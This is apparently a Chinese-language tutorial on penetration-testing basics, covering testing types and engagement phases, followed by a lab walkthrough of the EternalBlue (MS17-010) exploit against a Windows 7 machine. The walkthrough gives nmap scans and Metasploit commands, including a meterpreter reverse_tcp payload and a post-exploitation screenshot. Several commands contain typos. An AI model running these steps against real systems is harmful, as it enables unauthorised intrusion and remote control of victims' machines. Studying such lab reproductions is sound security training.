渗透测试基础
渗透测试
正式版:渗透测试(PenetrationTesting)是一种通过模拟攻击者的技术与方法,挫败目标系统的安全控制措施并取得访问控制权的安全测试方式。渗透测试的过程并非简单地运行一些扫描器和自动化工具,然后根据结果写一份安全报告。
白话版:模拟黑客对目标进行攻击,得到想要的权限或者信息的技术。
渗透测试方法分类
白盒测试(内部测试):对整个系统有所了解,知道目标环境的所有内部和底层信息,分析其薄弱点对应攻击。优点:发现解决漏洞的时间短;缺点:人的思考会有局限性,会根据已知信息分析,考虑未必完善·。
黑盒测试(外部测试):,对系统没有任何目标网络内部拓扑等相关信息,完全模拟黑客对目标环境进行渗透攻击,优点:更有利于挖掘出系统潜在的漏洞,及其薄弱点。缺点:费时费力。
灰盒测试:白盒测试和黑盒测试基本类型的组合,知道其中的有限信息例如:知道系统组件之间是如何互相作用的,但缺乏对内部程序功能和运作的详细了解。
渗透目标:
1、 主机操作系统渗透
对Windows、Solaris、AIX、Linux、SCO、SGI等操作系统本身进行渗透测试。
2、 数据库系统渗透
对MS-SQL、Oracle、MySQL、Informix、Sybase、DB2、Access等数据库应 用系统进行渗透测试。
3、 应用系统渗透
对渗透目标提供的各种应用,如ASP、CGI、JSP、PHP等组成的WWW应用进 行渗透测试。
4、 网络设备渗透
对各种防火墙、入侵检测系统、网络设备进行渗透测试。
渗透测试步骤
前期交互阶段(Pre-Engagement Interaction)
在前期交互(Pre-Engagement Interaction)阶段,渗透测 试团队与客户组织进行交互讨论,最重要的是确定渗透测试 的范围、目标、限制条件以及服务合同细节。
该阶段通常涉及收集客户需求、准备测试计划、定义测试范 围与边界、定义业务目标、项目管理与规划等活动。
(明确要做到的程度)
情报搜集阶段(Information Gathering)
在目标范围确定之后,将进入情报搜集(Information Gathering)阶段, 渗透测试团队可以利用各种信息来源与搜集技术方法,尝试获取更多关于目标组织网络拓扑、系统配置与安全防御措施的信息。
对目标系统的情报探查能力是渗透测试者一项非常重要的技能,情报搜集是否充分在很大程度上决定了渗透测试的成败,因为如果你遗漏关键的情报信息,你将可能在后面的阶段里一无所获。
(收集信息)
威胁建模阶段(ThreatModeling)
在搜集到充分的情报信息之后,渗透测试团队的成员们停下敲击键盘,大家 聚到一起针对获取的信息进行威胁建模(Threat Modeling)与攻击规划。 这是渗透测试过程中非常重要,但很容易被忽视的一个关键点。
(根据信息分析薄弱点)
漏洞分析阶段(Vulnerability Analysis)
在确定出最可行的攻击通道之后,接下来需要考虑该如何取得目标系统的访问控制权,即漏洞分析(Vulnerability Analysis)阶段。
(找出其中那个漏洞最有价值的点)
渗透攻击阶段(Exploitation)
渗透攻击(Exploitation)是渗透测试过程中最具有魅力的环节。在此环节 中,渗透测试团队需要利用他们所找出的目标系统安全漏洞,来真正入侵系 统当中,获得访问控制权。
(行动,得到权限)
后渗透攻击阶段(PostExploitation)(清除痕迹)
后渗透攻击(Post Exploitation)是整个渗透测试过程中最能够体现渗透测 试团队创造力与技术能力的环节。前面的环节可以说都是在按部就班地完成 非常普遍的目标,而在这个环节中,需要渗透测试团队根据目标组织的业务 经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标 ,识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资产,最终达成能够对客户组织造成最重要业务影响的攻击途径。
(寻找最有价值的信息,消除痕迹)
报告阶段(Reporting)
渗透测试过程最终向客户组织提交,取得认可并成功获得合同付款的就是一 份渗透测试报告(Reporting)。这份报告凝聚了之前所有阶段之中渗透测 试团队所获取的关键情报信息、探测和发掘出的系统安全漏洞、成功渗透攻 击的过程,以及造成业务影响后果的攻击途径,同时还要站在防御者的角度上,帮助他们分析安全防御体系中的薄弱环节、存在的问题,以及修补与升级技术方案。
(告诉业主是什么漏洞,危害是什么,怎么解决)
永恒之蓝ms17-010漏洞复现
环境
攻击机:Kali-Linux-2021
靶机:Windows7
工具
Nmap 网络扫描工具
Metasploit 渗透框架,能获取、开发并对计算机软件漏洞实施攻击。它本身附带数千个已知软件漏洞的专业级漏洞攻击工具
开始复现
首先kali切换管理员模式
sudo so
信息收集阶段
检测本机属于哪个网段
ifconfig
搜索本网段下有哪些IP地址有哪些
nmap 192.168.5.0/24
查看192.168.5.129是什么操作系统
Nmap 192.168.129 -sV -sS
其中(-sS是检查开发端口;-sV是检查系统版本)
威胁建模阶段、漏洞分析阶段
发现445端口开放,尝试ms17-010漏洞
启动Metasploit
msfconsole
启动ms17-010的有关模块
Search ms17-010
exploit是攻击模块,auxiliary是辅助模块,这里我们先选用3辅助扫描模块,来确定漏洞是否存在。
使用3号命令查看对应的win7系统是否存在ms17-010漏洞。
use 3
查看该模块需要修改的参数
show options
Yes前都是必填的
设置攻击目标198.168.5.129
Set rhosts 198.168.5.129
运行
run
查看发现win7系统存在ms17-010漏洞
渗透攻击阶段
使用0号命令攻击对应的win7系统是否存在ms17-010漏洞。
Use 0
设置攻击载荷
Set payload windows/x64/meterpreter/reverse_tcp
设置受害者ip(win7)
set rhost 192.168. 5.129
设置攻击者ip(kali)
set lhost 192.168.5.128
查看攻击设置
Show options
开始攻击
run
攻击成功,接下来就可以使用meterpreter进行一系列后渗透操作了。
后渗透攻击阶段
截屏看win7系统现在在干什么
Screenshot